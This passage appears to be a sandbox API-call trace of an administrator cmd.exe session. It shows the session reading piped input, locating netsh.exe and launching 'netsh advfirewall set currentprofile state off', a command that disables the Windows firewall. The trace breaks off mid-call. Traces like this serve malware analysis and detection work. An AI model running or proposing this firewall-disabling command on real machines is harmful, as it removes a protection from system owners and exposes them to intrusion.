[0127.840] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.840] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.840] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.840] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.840] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.840] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.840] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.840] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.840] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.840] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.840] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.840] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.840] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.840] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0127.840] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.840] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.840] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.840] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0127.840] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.840] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.841] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.841] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0127.841] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.841] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.841] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0127.841] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0127.842] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.842] GetFileType (hFile=0x264) returned 0x3 [0127.842] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.842] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.842] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.842] GetFileType (hFile=0x274) returned 0x3 [0127.842] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0127.842] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xa08f0f5a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f5a8*=0x2f, lpOverlapped=0x0) returned 1 [0127.842] GetProcessHeap () returned 0x1515c080000 [0127.842] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x4012) returned 0x1515c088bb0 [0127.842] GetProcessHeap () returned 0x1515c080000 [0127.842] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c088bb0) returned 1 [0127.843] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0127.843] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0127.843] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0127.843] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0127.843] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0127.843] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0127.843] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0127.843] GetProcessHeap () returned 0x1515c080000 [0127.843] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xb0) returned 0x1515c086e30 [0127.843] GetProcessHeap () returned 0x1515c080000 [0127.843] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x1c) returned 0x1515c086c60 [0127.843] GetProcessHeap () returned 0x1515c080000 [0127.843] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x64) returned 0x1515c088bb0 [0127.844] GetConsoleOutputCP () returned 0x1b5 [0127.844] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0127.844] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.845] GetConsoleTitleW (in: lpConsoleTitle=0xa08f0f3f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.845] malloc (_Size=0xffce) returned 0x1515c1a0840 [0127.845] ??_V@YAXPEAX@Z () returned 0x1515c1a0840 [0127.845] malloc (_Size=0xffce) returned 0x1515c1b0820 [0127.846] ??_V@YAXPEAX@Z () returned 0x1515c1b0820 [0127.846] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0127.846] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0127.846] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0127.846] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0127.846] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0127.846] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0127.846] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0127.846] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0127.846] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0127.846] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0127.846] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0127.846] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0127.846] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0127.846] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0127.846] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0127.846] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0127.847] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0127.847] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0127.847] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0127.847] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0127.847] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0127.847] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0127.847] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0127.847] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0127.847] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0127.847] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0127.847] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0127.847] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0127.847] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0127.847] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0127.847] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0127.847] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0127.847] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0127.847] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0127.847] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0127.847] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0127.847] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0127.847] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0127.847] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0127.847] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0127.847] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0127.847] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0127.847] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0127.847] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0127.847] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0127.847] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0127.847] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0127.847] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0127.847] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0127.847] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0127.847] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0127.847] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0127.847] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0127.847] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0127.847] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0127.847] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0127.847] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0127.847] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0127.847] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0127.848] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0127.848] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0127.848] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0127.848] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0127.848] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0127.848] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0127.848] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0127.848] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0127.848] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0127.848] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0127.848] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0127.848] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0127.848] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0127.848] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0127.848] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0127.848] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0127.848] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0127.848] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0127.848] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0127.848] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0127.848] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0127.848] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0127.848] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0127.848] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0127.848] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0127.848] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0127.848] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0127.848] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0127.848] ??_V@YAXPEAX@Z () returned 0x1 [0127.848] GetProcessHeap () returned 0x1515c080000 [0127.848] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xffde) returned 0x1515c088c20 [0127.849] GetProcessHeap () returned 0x1515c080000 [0127.849] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x70) returned 0x1515c098c10 [0127.849] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0127.849] malloc (_Size=0xffce) returned 0x1515c1b0820 [0127.849] ??_V@YAXPEAX@Z () returned 0x1515c1b0820 [0127.849] GetProcessHeap () returned 0x1515c080000 [0127.849] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x1ffac) returned 0x1515c098c90 [0127.851] SetErrorMode (uMode=0x0) returned 0x0 [0127.851] SetErrorMode (uMode=0x1) returned 0x0 [0127.851] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1515c098ca0, lpFilePart=0xa08f0ec70 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xa08f0ec70*="system32") returned 0x13 [0127.851] SetErrorMode (uMode=0x0) returned 0x1 [0127.851] GetProcessHeap () returned 0x1515c080000 [0127.851] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c098c90, Size=0x44) returned 0x1515c098c90 [0127.851] GetProcessHeap () returned 0x1515c080000 [0127.851] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c098c90) returned 0x44 [0127.851] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0127.851] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0127.851] GetProcessHeap () returned 0x1515c080000 [0127.851] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x1b4) returned 0x1515c098cf0 [0127.851] GetProcessHeap () returned 0x1515c080000 [0127.851] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x358) returned 0x1515c098eb0 [0127.857] GetProcessHeap () returned 0x1515c080000 [0127.857] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c098eb0, Size=0x1b6) returned 0x1515c098eb0 [0127.857] GetProcessHeap () returned 0x1515c080000 [0127.857] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c098eb0) returned 0x1b6 [0127.857] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0127.857] GetProcessHeap () returned 0x1515c080000 [0127.857] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xe8) returned 0x1515c099080 [0127.857] GetProcessHeap () returned 0x1515c080000 [0127.857] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c099080, Size=0x7e) returned 0x1515c099080 [0127.857] GetProcessHeap () returned 0x1515c080000 [0127.857] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c099080) returned 0x7e [0127.858] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0127.858] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0xa08f0e9e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa08f0e9e0) returned 0x1515c099110 [0127.858] GetProcessHeap () returned 0x1515c080000 [0127.858] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x0, Size=0x28) returned 0x1515c086a70 [0127.858] FindClose (in: hFindFile=0x1515c099110 | out: hFindFile=0x1515c099110) returned 1 [0127.858] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0xa08f0e9e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa08f0e9e0) returned 0xffffffffffffffff [0127.858] GetLastError () returned 0x2 [0127.858] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0xa08f0e9e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa08f0e9e0) returned 0x1515c099110 [0127.858] GetProcessHeap () returned 0x1515c080000 [0127.858] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c086a70, Size=0x8) returned 0x1515c086a70 [0127.858] FindClose (in: hFindFile=0x1515c099110 | out: hFindFile=0x1515c099110) returned 1 [0127.859] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0127.859] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0127.859] ??_V@YAXPEAX@Z () returned 0x1 [0127.859] GetConsoleTitleW (in: lpConsoleTitle=0xa08f0ef60, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.860] GetProcessHeap () returned 0x1515c080000 [0127.860] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x21c) returned 0x1515c099110 [0127.860] GetConsoleTitleW (in: lpConsoleTitle=0x1515c099120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0127.895] GetProcessHeap () returned 0x1515c080000 [0127.895] RtlReAllocateHeap (Heap=0x1515c080000, Flags=0x0, Ptr=0x1515c099110, Size=0xd8) returned 0x1515c099110 [0127.895] GetProcessHeap () returned 0x1515c080000 [0127.895] RtlSizeHeap (HeapHandle=0x1515c080000, Flags=0x0, MemoryPointer=0x1515c099110) returned 0xd8 [0127.895] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0127.950] GetProcessHeap () returned 0x1515c080000 [0127.950] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c099110) returned 1 [0127.950] InitializeProcThreadAttributeList (in: lpAttributeList=0xa08f0ee80, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa08f0ed70 | out: lpAttributeList=0xa08f0ee80, lpSize=0xa08f0ed70) returned 1 [0127.950] UpdateProcThreadAttribute (in: lpAttributeList=0xa08f0ee80, dwFlags=0x0, Attribute=0x60001, lpValue=0xa08f0ed5c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa08f0ee80, lpPreviousValue=0x0) returned 1 [0127.950] GetStartupInfoW (in: lpStartupInfo=0xa08f0ee10 | out: lpStartupInfo=0xa08f0ee10*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x264, hStdOutput=0x274, hStdError=0x274)) [0127.951] GetProcessHeap () returned 0x1515c080000 [0127.951] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x20) returned 0x1515c086ef0 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0127.951] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0127.951] GetProcessHeap () returned 0x1515c080000 [0127.951] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c086ef0) returned 1 [0127.951] GetProcessHeap () returned 0x1515c080000 [0127.951] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0x12) returned 0x1515c086ef0 [0127.951] _get_osfhandle (_FileHandle=1) returned 0x274 [0127.951] SetConsoleMode (hConsoleHandle=0x274, dwMode=0x0) returned 0 [0127.952] _get_osfhandle (_FileHandle=0) returned 0x264 [0127.952] SetConsoleMode (hConsoleHandle=0x264, dwMode=0x0) returned 0 [0127.952] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xa08f0eda0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa08f0ed78 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0xa08f0ed78*(hProcess=0x98, hThread=0x94, dwProcessId=0xfa8, dwThreadId=0xfac)) returned 1 [0127.966] CloseHandle (hObject=0x94) returned 1 [0127.966] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0127.966] GetProcessHeap () returned 0x1515c080000 [0127.966] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c085a10) returned 1 [0127.966] GetEnvironmentStringsW () returned 0x1515c085a10* [0127.966] GetProcessHeap () returned 0x1515c080000 [0127.966] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xac4) returned 0x1515c099510 [0127.966] FreeEnvironmentStringsA (penv="=") returned 1 [0127.966] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcc2280000 [0127.966] GetProcAddress (hModule=0x7ffcc2280000, lpProcName="NtQueryInformationProcess") returned 0x7ffcc23256b0 [0127.966] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xa08f0e278, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xa08f0e278, ReturnLength=0x0) returned 0x0 [0127.966] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x1470695000, lpBuffer=0xa08f0e2b0, nSize=0x7a0, lpNumberOfBytesRead=0xa08f0e270 | out: lpBuffer=0xa08f0e2b0*, lpNumberOfBytesRead=0xa08f0e270*=0x7a0) returned 1 [0127.967] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0135.093] GetExitCodeProcess (in: 